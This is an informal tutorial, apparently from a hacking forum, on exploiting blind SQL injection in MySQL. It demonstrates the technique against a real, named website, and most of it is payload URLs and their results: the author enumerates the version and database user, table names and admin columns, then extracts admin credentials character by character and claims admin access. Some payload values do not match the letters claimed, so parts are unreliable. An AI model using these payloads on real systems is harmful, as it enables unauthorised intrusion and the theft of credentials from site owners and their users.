Exploiting Blind SQL Injection in the Wild

Ok, as promised here is a full Blind Sql tutorial. It took me awhile to get this done because it does 
take a long time to fully Blindly inject a site all the way to credentials. I obviously can’t cycle through 
everything here today, but I can give you all of the syntax for every concept used herein. After reading
this you should have more then a passing understanding of Blind Sql Injection. To start we will extract 
the current user. 

Using binary search methods, it won’t be too hard to extract the user. First I will show you the binary search in action to get the first digit in this full blind Sql injection then we will move forward rather quickly an it will be assumed you grasp the concepts. To show everyone each and every query used would be tiring so we will build off the concept and once its grasped we can move into other methods and syntaxes used.. If you don’t understand a section reread it or you surely won’t get the next section. You can always pm me for help toom but please RTFM first.. So, let’s move on.

So, we have our Blind Injectable sight: http://www.hkdatation.com/

First off I am not going to actually penetrate the site, but I will give you the knowledge needed to do this on your own. I am here just to show you the concept of blind Sql and explain it alittle so we can all get a stronger grasp on just how its done..

What exactly is Blind Sql injection? 

Blind Sql injection is a form of Sql vulnerability that exexutes Sql logic on the server, but doesn’t give the Sql output to the screen that we all know and love. BlindSql is the last possible type of Sql to use in a crackers toolbox and as stated its a pretty tedious process.In most situations you would probably be better off writing/using some kind of tool for it. Still, even with tools if you don’t understand BlindSql then a tool probably won’t be much help.

How does it work though?

Findamentally, Blind Sql works by querying the database with yes/no or true/false questions. Seeing as we can’t extract info in a traditional way we have to resort to forming queries that can pull that same info for us one byte at a time. There is another method of using if/else with Sqli, but I won’t have a use for that today. Before I get ahead of myself let me explain the main styles used for Blind SQLi:

1) Error based blind -> in this situation we are receiving some sort of error. It could be a SQL error or a custom error that lets on nothing of its origin or reason.

1a) A subsection of above. I don’t know the name, but it falls under the same class as error based Blind injection. In this scenario there may be a picture out of place, some text missing, or many times a whole different page altogether. The key is to be able to tell when Sql is executing by looking for these changes. After awhile of practicing it becomes fairly routine to find these injections. This is the type of injection were focusing on today.

2) Timed -> With timed injection we have 2 possible options in MySql we have Benchmark which we can call to encrypt something for for us say 10000 times using Sha1 which due to heavy load will cause a time delay basically letting us know the Sql has been executed. MySql also have the sleep() function which is unfortunately not available in all version’s of MySQL to date.. It started in version MySQL 5.0.12, and is will probably be disabled in future versions. Hopefully not right away though. I’m not going to go too deep into Timed attacks. If someone wants a tutorial for time-delay Sql ‘maybe’ I’ll write one after this one.

Aren’t there plenty of Blind tutorials out there? Why is yours special? 

Well, in most Blind tutorials we don’t really get more the version() and user() info which is all fine and dandy, but what if we want more then that? I mean if were testing a website for someone and can only retrieve the user and version info then it may be pretty hard to explain to the Web Admin why this attack can be so devastating. I will be using a Live attack for you and we will actually pull data from information_schema(one byte at a time of course) and before were through hopefully you will have a better grasp on just how this attack works.. And if you know more then me maybe you can give me some pointers too. Anywho, let’s move on.

Like most SQL injections at the beginning, before we dive into the database were going to want to find out a few thins. Like for instance the version() and user(). Its funny that where most Blind tuts end is exactly where we will starting. Now, on a lot of Blind Injections you may get an error page, you may not. You may just get a different page then you would’ve gotten had you used a different query or value. You have to be able to decipher all of these things because just because if you notice a bug and one type of SQLi doesn’t appear to be working its good to have other ways to leverage the bug. BlindSqli is a very good last resort believe me, but it takes alot of patience. Lets not get ahead of ourselves though.


First we use the standard test for blind. 1=1 then 1=2. If the page loads the same then its not vulnerable. If the page is different in any sense or errored we would get different responses. This means our target is most likely is vulnerable.

So, we try out injection: 


http://www.hkdatation.com/calendar/join.php?id=6 AND 1=1
http://www.hkdatation.com/calendar/join.php?id=6 AND 1=2

Assuming the page is vulnerable to BlindSql the results will be different and they are. If you load the page with each query you will see a small missing picture and that’s all it takes. Everything else looks the same, but that little anomoly tells us that there’s a good chance we have a decent candidate for Blind Sql.


So now lets get our version info with this query: 


http://www.hkdatation.com/calendar/join.php?id=6+and substring(@@version,1,1)=5

Breaking this down were using substring to break up the data into a true/false situation meaning IF
the first digit in the query response is “5” then we know that the version is greater then or equal to version

5. If the page loads an error or in our case without the picture then we would change the value of 5 to 4 and check 
the page load: 


http://www.hkdatation.com/calendar/join.php?id=6+and substring(@@version,1,1)=4 

Ok, so on this query we get the false page, missing the picture which is different then the intended page we started with. (which we already know, but were confirming. Translated,it means were using version 5 so we have access to information_schema(Ya!). If your unfamiliar still take some time to examine the page output from a true query then to a false query. You need to understand this because this is our main means of extracting data.


Before we get down to the nitty gritty we need to check for subselect. Without subselect we cant do much in the way of exctracting tables/columns so we need to check this before we start throwing queries around. Subselect can be checked easily like so: 


http://www.hkdatation.com/calendar/join.php?id=6+and+(SELECT 1)=1   True! Yeah!

This is a simple query that doesn’t need much picking apart. Its just saying Select 1 is equal to 1. If we couldn’t select (Select 1)=1 wouldve been false. Most Sql versions above 5 susceptible to Blind, allow subselect.

note-> From here on out a True page load is true and a False pageload is false. True = Image and False != image. It will help with readability.


Now were going to need some info. First off we need to know who we are(are we root?), but before we start extracting we should know how many characters exist in the name so we don’t waste any time trying to extract info after we have all the output. 

So, first the length of the user() we will use the binary search method that we should already be familiar with: 


http://www.hkdatation.com/calendar/join.php?id=6+and+length(user())>10  True page means the length of user is greater then 10
http://www.hkdatation.com/calendar/join.php?id=6+and+length(user())>20  True page
http://www.hkdatation.com/calendar/join.php?id=6+and+length(user())>30   False(Thank God,lol) 
http://www.hkdatation.com/calendar/join.php?id=6+and+length(user())>25   False
http://www.hkdatation.com/calendar/join.php?id=6+and+length(user())>23   True and tells us the answer
http://www.hkdatation.com/calendar/join.php?id=6+and+length(user())=24   True 

Broken down this query is saying,”Ok the length of the current user is greater then > less then < or equal to = this amount of characters. Simple right?

So, now we know there are 24 characters in the username.(So much for root@ethicalhackx.com) The username obviously includes the IP as well as the user so lets get to finding out who the current user is. We will do this using the Ascii conversion of letters to Ascii digits, then using the Ascii numbers to translate back to letters.If I’m confusing some of you dont worry it wall all be very clear before the tutorial/possible Whitepaper is finished.

So lets see who we, as user() are exactly : 


http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(),1,1))>95-- True!

^ Returns true, Indicating that the current user() 1st digit is greater then the ascii representative of 97 which is a lowercase ‘a’.

For ascii help: http://www.asciitable.com/


Now, lets do a quick extract of the username. Using binary search methods it won’t be too hard to extract the user.

First I will show you the binary search in action to get the first digit: 


http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(),1,1))>105-- False Jump 10 from 95
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(),1,1))>100-- True   Drop 5 from 105
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(),1,1))>103--  True  Jump 3 from 100
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(),1,1))>104--    False means We have a winner!
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 1,1))=104--   104 = h

Note:As stated we can use < > = in our binary searches in Blind Sql Injection


From here we can guess where the actual user() name is heading. Probably some spinoff of the site in the name like hkdatation_user@ip or whatever. Knowing or having an idea on where the data is taking you is the best way to make the Blind exploitation move quicker. To move to the next digit we move the first limit of 1 up to 2.

So enough talk, its pretty apparent were not root here, but still we figure out exectly who we are using Ascii. Note: alot of requests will be snipped for brevity.


http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 2,1))=107--  True We now have 'hk'
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 3,1))=100--   True "hkd"
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 4,1))=97--   True  'hkda'
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 5,1))=116--  now 'hkdat'

substring(user(), 6,1))=97–    now  ‘hkdata’
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 7,1))=116–  now ‘hkdatat’
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 8,1))=105– now hkdatati’
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 9,1))=111– ‘hkdatatio
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 10,1))=110– ‘hkdatation’
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 11,1))=95–  ‘hkdatation_
http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring(user(), 12,1))=95–
<—— snip ——–>

hkdatation_now@ethicalhackx.com <- Thats who we are:) 

Now that may seem like it would take forever, but it really doesn’t(Though a perl script would work much faster) because once we get an idea of where the data is taking us the binary search methods really help. 

Ok, so now that we know our who we are, that the version is 5, and we have access to subselect. This is valuable data to move forward with our attack. 


Like most SQL injection attacks to gain the most leverage over the data and possibly system access we need to gain access to user tables, credit card info, or whatever it is we came to get we really need to be able to query information_schema. Unless were lucky this is a foolproof way to overlook the database. Luckily Blind Sql injection does have a method for us to extract table names from information_schema and the main database. It may look a little familiar if you do a lot of Sql injection.

So to grab our tables from the database:


http://www.hkdatation.com/calendar/join.php?id=6/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>50 True

So as you can see forming Blind Sql strings in MySql are very easy and uses the same logic and queries that we’re used to:

So quickly to go through things. I’m going to shoren these up so hopefully they wont fall off the page:


/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102   f
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>116   t
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))>95     _ 
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))>97  a  (I cant be getting this lucky)
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))>98 b Nope:( 

So we got ft_about so far. Hopefully there in alphabetical order: So, as I’m sure you have already guessed (or know) how to get into the next table: 


/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102   f
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=116   t   
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=95     _ 
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=95     a (better not be an album section:?)
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=95    d (cha ching!)
/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),6,1))=109  m
<------------  snip ---------------------->


ft_admin   <- if you didn't see it:P 

So, we are finally in the admin Panel. If we wanted to keep going we could by simply incrementing more and more tables then more and more ascii digits using our ascii table to convert them(if we need an ascii table anymore, lol)  Well were certainly not done yet. We don't have a user-pass??  Well, here is the tough part.  From here we need to play the guessing game which shouldn't be much of a problem seeing as we already have alot of pertinent info. Hopefully soon I will find a way to extract the columns from tables, but so far everything that should work hasn't so lets move onto out next blind query gem: 



Before we make an attempt to grab the hashes lets first check for the existance of columns inside the table in the same manner in which we queried for subselect a long long time ago… 


/**/and/**/(SELECT substring(concat(1,user),1,1) from ft_admin limit 0,1)=1  false
/**/and/**/(SELECT substring(concat(1,id),1,1) from ft_admin limit 0,1)=1  True!
/**/and/**/(SELECT substring(concat(1,name),1,1) from ft_admin limit 0,1)=1  false
/**/and/**/(SELECT substring(concat(1,users),1,1) from ft_admin limit 0,1)=1  fasle
/**/and/**/(SELECT substring(concat(1,pass),1,1) from ft_admin limit 0,1)=1
/**/and/**/(SELECT substring(concat(1,password),1,1) from ft_admin limit 0,1)=1
<--------- snippy too many ------------>
/**/and/**/(SELECT substring(concat(1,f_name),1,1) from ft_admin limit 0,1)=1  True!
 /**/and/**/(SELECT substring(concat(1,f_password),1,1) from ft_admin limit 0,1)=1 True!
/**/and/**/(SELECT substring(concat(1,id),1,1) from ft_admin limit 0,1)=1  True!

table-> ft_admin
columns-> f_name, f_password, id

Ok, so now we have the admin/pass columns. All that is left is to slowly pull the user/pass out of the database:

and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),1,1))>100 False
and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),1,1))>90

<—————————-Snip ——————————>
/**/and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),1,1))=65    A
/**/and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),2,1))=100   d
/**/and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),3,1))=109   m
/**/and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),4,1))=105    i
/**/and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),5,1))=110    n
/**/and ascii(substring((SELECT concat(f_name,f_password) from ft_admin where id=1),6,1))=105     i

And if we keep going all the way through the query, after a good 1 1/2 hours we will get:


After we crack the MD5 we get:


There were more users in the database, but I’m spent and its the concept that matters. We got Admin access, anyway, and that’s all that matters. 🙂 I hope you enjoyed this tutorial on Blind Sql injection exploitation.  


and (SELECT 1 from table limit 0,1)=1                <- Query to check if a table exists


Please enter your comment!
Please enter your name here